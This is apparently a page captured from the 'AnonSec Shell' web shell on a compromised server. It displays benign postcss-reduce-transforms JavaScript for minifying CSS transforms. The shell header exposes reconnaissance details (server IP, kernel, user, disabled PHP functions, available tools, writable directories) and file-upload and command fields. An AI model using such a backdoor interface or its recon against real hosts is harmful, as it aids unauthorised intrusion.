AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/postcss-reduce-transforms/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/postcss-reduce-transforms/dist/index.js
'use strict';

exports.__esModule = true;

var _has = require('has');

var _has2 = _interopRequireDefault(_has);

var _postcss = require('postcss');

var _postcss2 = _interopRequireDefault(_postcss);

var _postcssValueParser = require('postcss-value-parser');

var _postcssValueParser2 = _interopRequireDefault(_postcssValueParser);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function getValues(list, _ref, index) {
    var value = _ref.value;

    if (index % 2 === 0) {
        return [].concat(list, [parseFloat(value)]);
    }
    return list;
}

function matrix3d(node, values) {
    // matrix3d(a, b, 0, 0, c, d, 0, 0, 0, 0, 1, 0, tx, ty, 0, 1) => matrix(a, b, c, d, tx, ty)
    if (values[15] && values[2] === 0 && values[3] === 0 && values[6] === 0 && values[7] === 0 && values[8] === 0 && values[9] === 0 && values[10] === 1 && values[11] === 0 && values[14] === 0 && values[15] === 1) {
        var nodes = node.nodes;

        node.value = 'matrix';
        node.nodes = [nodes[0], // a
        nodes[1], // ,
        nodes[2], // b
        nodes[3], // ,
        nodes[8], // c
        nodes[9], // ,
        nodes[10], // d
        nodes[11], // ,
        nodes[24], // tx
        nodes[25], // ,
        nodes[26]];
    }
}

var rotate3dMappings = [['rotateX', [1, 0, 0]], // rotate3d(1, 0, 0, a) => rotateX(a)
['rotateY', [0, 1, 0]], // rotate3d(0, 1, 0, a) => rotateY(a)
['rotate', [0, 0, 1]]];

function rotate3dMatch(values) {
    return values.reduce(function (list, arg, i) {
        return list.filter(function (value) {
            return value[1][i] === arg;
        });
    }, rotate3dMappings);
}

function rotate3d(node, values) {
    var nodes = node.nodes;

    if (!nodes[6]) {
        return;
    }
    var match = rotate3dMatch(values.slice(0, 3));
    if (match.length) {
        node.value = match[0][0];
        node.nodes = [nodes[6]];
    }
}

function rotateZ(node) {
    // rotateZ(rz) => rotate(rz)
    node.value = 'rotate';
}

function scale(node, values) {
    var nodes = node.nodes;

    if (!nodes[2]) {
        return;
    }
    var first = values[0];
    var second = values[1];
    // scale(sx, sy) => scale(sx)

    if (first === second) {
        node.nodes = [nodes[0]];
        return;
    }
    // scale(sx, 1) => scaleX(sx)
    if (second === 1) {
        node.value = 'scaleX';
        node.nodes = [nodes[0]];
        return;
    }
    // scale(1, sy) => scaleY(sy)
    if (first === 1) {
        node.value = 'scaleY';
        node.nodes = [nodes[2]];
        return;
    }
}

function scale3d(node, values) {
    var nodes = node.nodes;

    if (!nodes[4]) {
        return;
    }
    var first = values[0];
    var second = values[1];
    var third = values[2];
    // scale3d(sx, 1, 1) => scaleX(sx)

    if (second === 1 && third === 1) {
        node.value = 'scaleX';
        node.nodes = [nodes[0]];
        return;
    }
    // scale3d(1, sy, 1) => scaleY(sy)
    if (first === 1 && third === 1) {
        node.value = 'scaleY';
        node.nodes = [nodes[2]];
        return;
    }
    // scale3d(1, 1, sz) => scaleZ(sz)
    if (first === 1 && second === 1) {
        node.value = 'scaleZ';
        node.nodes = [nodes[4]];
        return;
    }
}

function translate(node, values) {
    var nodes = node.nodes;

    if (!nodes[2]) {
        return;
    }
    // translate(tx, 0) => translate(tx)
    if (values[1] === 0) {
        node.nodes = [nodes[0]];
        return;
    }
    // translate(0, ty) => translateY(ty)
    if (values[0] === 0) {
        node.value = 'translateY';
        node.nodes = [nodes[2]];
        return;
    }
}

function translate3d(node, values) {
    var nodes = node.nodes;
    // translate3d(0, 0, tz) => translateZ(tz)

    if (nodes[4] && values[0] === 0 && values[1] === 0) {
        node.value = 'translateZ';
        node.nodes = [nodes[4]];
    }
}

var reducers = {
    matrix3d: matrix3d,
    rotate3d: rotate3d,
    rotateZ: rotateZ,
    scale: scale,
    scale3d: scale3d,
    translate: translate,
    translate3d: translate3d
};

function reduce(node) {
    var nodes = node.nodes;
    var type = node.type;
    var value = node.value;

    if (type === 'function' && (0, _has2.default)(reducers, value)) {
        reducers[value](node, nodes.reduce(getValues, []));
    }
    return false;
}

exports.default = _postcss2.default.plugin('postcss-reduce-transforms', function () {
    return function (css) {
        css.walkDecls(/transform$/, function (decl) {
            decl.value = (0, _postcssValueParser2.default)(decl.value).walk(reduce).toString();
        });
    };
});
module.exports = exports['default'];

Anon7 - 2022
AnonSec Team